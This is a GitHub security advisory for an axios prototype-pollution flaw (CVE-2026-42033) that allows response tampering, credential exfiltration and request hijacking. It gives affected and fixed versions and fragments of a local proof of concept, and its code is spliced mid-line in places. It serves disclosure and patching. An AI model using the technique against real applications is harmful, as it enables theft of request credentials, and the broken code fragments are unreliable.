GitHub Advisoryadvisory · npm
GHSA-pf86-5x62-jrwf Axios: Prototype Pollution Gadgets - Response Tampering, Data Exfiltration, and Request Hijacking
HIGH
Official page ↗
- Aliases
- CVE-2026-42033
- Ecosystem
- npm
- Packages
- axios
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
- Weaknesses
- CWE-1321
- Reviewed
- 2026-05-05
Affected packages
• npm axios: >= 1.0.0, < 1.15.1 → fixed in 1.15.1
• npm axios: < 0.31.1 → fixed in 0.31.1
Description
Summary
When `Object.prototype` has been polluted by any co-dependency with keys that axios reads without a `hasOwnProperty` guard, an attacker can (a) silently intercept and modify every JSON response before the application sees it, or (b) fully hijack the underlying HTTP transport, gaining access to request credentials, headers, and body. The precondition is prototype pollution from a separate source in the same process -- lodash = 1.12.0, {
console.log('[server] request:', req.method, req.url);
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({ role: 'user', balance: 100, token: 'tok_real_abc' }));
});
server.listen(19003, '127.0.0.1', () => {
console.log('[server] listening on 127.0.0.1:19003');
});
```
```
$ node server_gadget1.mjs
[server] listening on 127.0.0.1:19003
[server] request: GET /
```
Terminal 2 -- client (`poc_parsereviver.mjs`):
```js
import axios from 'axios';
// Simulate pollution arriving from a co-dependency (e.g. lodash = 0.19.0, {
console.log('[server] request:', req.method, req.url, 'auth:', req.headers.authorization || '(none)');
res.writeHead(200, { 'Content-Type': 'application/json…
Related
Alias · CVE (1)
- CVE-2026-42033 Axios is a promise based HTTP client for the browser and Node.js. vulnerability
Weakness · CWE (1)
- CWE-1321 Improperly Controlled Modification of Object Prototype Attributes weakness